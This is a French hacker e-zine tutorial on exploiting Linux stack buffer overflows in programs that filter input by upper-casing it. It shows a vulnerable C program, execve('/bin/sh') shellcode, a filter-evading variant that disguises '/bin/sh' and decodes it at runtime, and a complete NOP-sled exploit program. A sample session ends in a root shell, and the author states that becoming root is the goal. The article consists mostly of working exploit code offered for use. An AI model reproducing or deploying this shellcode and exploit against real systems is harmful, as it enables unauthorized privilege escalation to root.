,---------------------------------------------------------------------------------,
 | [014]                                                                           |
 |                              buffer overflow 2.1                                | 
 :                                 so called                                       :
 ;                           un autre article a suivre                             :
 ,                                                                                 .
 .    

     Si vous êtes un lecteur habitué des zines IGA et bien vous vous demandez probablement 
   pourquoi un autre article sur les buffer overflows il y en n'a déjà eu dans le zines précédents.
   Eh bien les autres articles on surtout été axée sur windoze donc j'ai eu envie d'en faire un pour
   linux .


     Commençons par ce que vous devez savoir avant de continuer
   (pas obliger mais ca facilite la tâche) :

 	- vous devez avoir lu le texte de __2 (#10) et de _rix(#11) sur les buffer overflow
	  ce que vous avez probablement déjà fait vu votre admiration pour les zines IGA

	- connaitre le C et l'assembleur

	- un peu de connaissances Linux

	- une tête sur les épaules

     Ce texte n'expliqueras pas en détails exactement quoi faire mais donneras des exemples sur
   certain techniques pour aider a exploiter des buffers overflows sous linux. Vous n'avez qu'a
   expérimenter par vous mêmes pour apprendre le reste.

   1-Comment passer le filtrage

     Certains programmes sous linux utilise dans leur code pour prévenir les buffers overflow une
   technique qui consiste a filtrer certains caractères ou qui les remplaces par d'autres
   afin de rendre plus compliquer la réalisation de votre plan démoniaque qui est le
   "stack smashing".

    Voici un exemple de code de filtrage qui convertit les minuscules en majuscules
   ( vraiment basic )

   --- snip --------------------------------------------------

   #include<string.h>
   #include<ctype.h>

   int main(int argc,int **argv)
   {
	   char buffer[1024];
	   int i;

	   if(argc>1)
	   {
		   for(i=0;i<strlen(argv[1]);i++)
			   argv[1][i]=toupper(argv[1][i]);
		   strcpy(buffer,argv[1]);
	   }
   }

   --- snip --------------------------------------------------

     La vous vous demandez mais quest que ca fou si ca filtre les caractères?? Eh bien dans ce cas
   si ca veut dire que vous ne pourrez pas marquer "/bin/sh" ou utiliser des minuscules
   dans votre code car ca se ferait filtrer. Mais comment passer au travers du filtre sans se
   se faire filtrer ! hum...

   Je pense que c'est le temps d'un autres exemple!


   ------------code shell normal ----------------------------------------

   char codeshell[]=

        "\xeb\x1f"                      /* jmp 0x1f              */
	"\x5e"                          /* popl %esi             */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xdc\xff\xff\xff"          /* call -0x24            */
	"/bin/sh";                      /* .string \"/bin/sh\"   */

   ------------- fin ------------------------------------------------------

     Ce programme a 6 minuscules. 5 pour le "/bin/sh" et une dans le "movl %esi,0x8(%esi)"
   Comme j'ai dit plus haut on ne peut utiliser "/bin/sh" sinon ca va se faire filtrer. On
   peut par exemple insérer "\x2f\x12\x19\x1e\x2f\x23\x18" au lieu de
   "\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). Apres le buffer overflow on rechange le
   "\x2f\x12\x19\x1e\x2f\x23\x18" pour le "\x2f\x62\x69\x6e\x2f\x73\x68" pour qu'on puisse
   executer un shell.

     On peut facilement changer d'un à l'autres en ajoutant "\x50" a chaque membre. Dans le genre
   ajouter "\x50" a "\x62","\x69" et ainsi de suite (voir l'exemple plus loin).

     Mais la y nous reste notre fameux "movl %esi,0x8(%esi)". Qu'est qu'on pourrait faire avec?
   Ben on pourrait le changer pour une instruction qui fait la même chose mais sans lettre
   minuscules ! On pourait faire "movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)". C'est
   pas la seul solution ya n'a d'autres toutes aussi bonne. Laisser aller votre imagination.

    Donc on n'a fini le nouveau code et ca donne ca:

   ------ nouveau code shell --------------------------------------------------

   char codechell[]=
	"\xeb\x38"                      /* jmp 0x38              */
	"\x5e"                          /* popl %esi             */
	"\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
	"\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
	"\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
	"\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
	"\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
	"\x89\xf0"                      /* movl %esi,%eax        */
	"\x83\xc0\x08"                  /* addl $0x8,%eax        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
	"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
	                                /* /bin/sh est déguisé   */

   ------------ fin --------------------------------------------------------

   Voila avec ce code vous pouvez coder un exploit a vous! n'est ce pas magnifique.
   Vous voulez un exemple d'exploit aussi !Eh bien le voici

   ----------- exploit -----------------------------------------------------

   #include <stdio.h>
   #include <stdlib.h>
   #define ALIGN                             0
   #define OFFSET                            0
   #define RET_POSITION                   1024
   #define RANGE                            20
   #define NOP                            0x90

   /* notre code de tantot */

   char shellcode[]=
	"\xeb\x38"                      /* jmp 0x38              */
	"\x5e"                          /* popl %esi             */
	"\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
	"\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
	"\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
	"\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
	"\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
        "\x89\xf0"                      /* movl %esi,%eax        */
	"\x83\xc0\x08"                  /* addl $0x8,%eax        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
	"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
	                                /* /bin/sh est déguisé   */
   unsigned long get_sp(void)
   {
	   __asm__("movl %esp,%eax");
   }  

   main(int argc,char **argv)
   {
	   char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
	   long addr;
	   unsigned long sp;
           int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
	   int i;

	   if(argc>1)
		   offset=atoi(argv[1]);

	   sp=get_sp();
	   addr=sp-offset;

	   for(i=0;i<bsize;i+=4)
	   {
		   buff[i+ALIGN]=(addr&0x000000ff);
		   buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
		   buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
		   buff[i+ALIGN+3]=(addr&0xff000000)>>24;
	   }

	   for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
		   buff[i]=NOP;

	   ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	   for(i=0;i<strlen(shellcode);i++)
		   *(ptr++)=shellcode[i];

	   buff[bsize-1]='\0';

	   printf("Jump to 0x%08x\n",addr);

	   /* execute le programme vulnerable au buffer overflow */

	   execl("./prog_vulnerable","prog_vulnerable",buff,0);
   }

   ---------- fin -------------------------------------------------------------

   Comment on utiliserait notre exploit sous linux!


	   [host]$ ls -l prog_vulnerable
	   -rwxr-xr-x   1 root     root          6932 Nov 06 13:20 prog_vulnerable

	   [host]$ ls -l nom_de_notre_exploit
	   -rwxr-xr-x   1 alex     user          6932 Nov 06 13:20 nom_de_notre_exploit

	   [host]$ ./nom_de_notre_exploit
	   Jump to 0xbfffec64
	   Segmentation fault

	   [host]$ ./nom_de_notre_exploit 500
	   Jump to 0xbfffea70

	   bash# whoami
 	   root		   /* le but etre root */

   Bon c'est fini pour cette article ci, un peu court mais bon manque de temps . Peut-être
   d'autres techniques dans un prochain ezine.

                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Rew.tbeer        :  
 |                                                                                 :
 |_________________________________________________________________________________|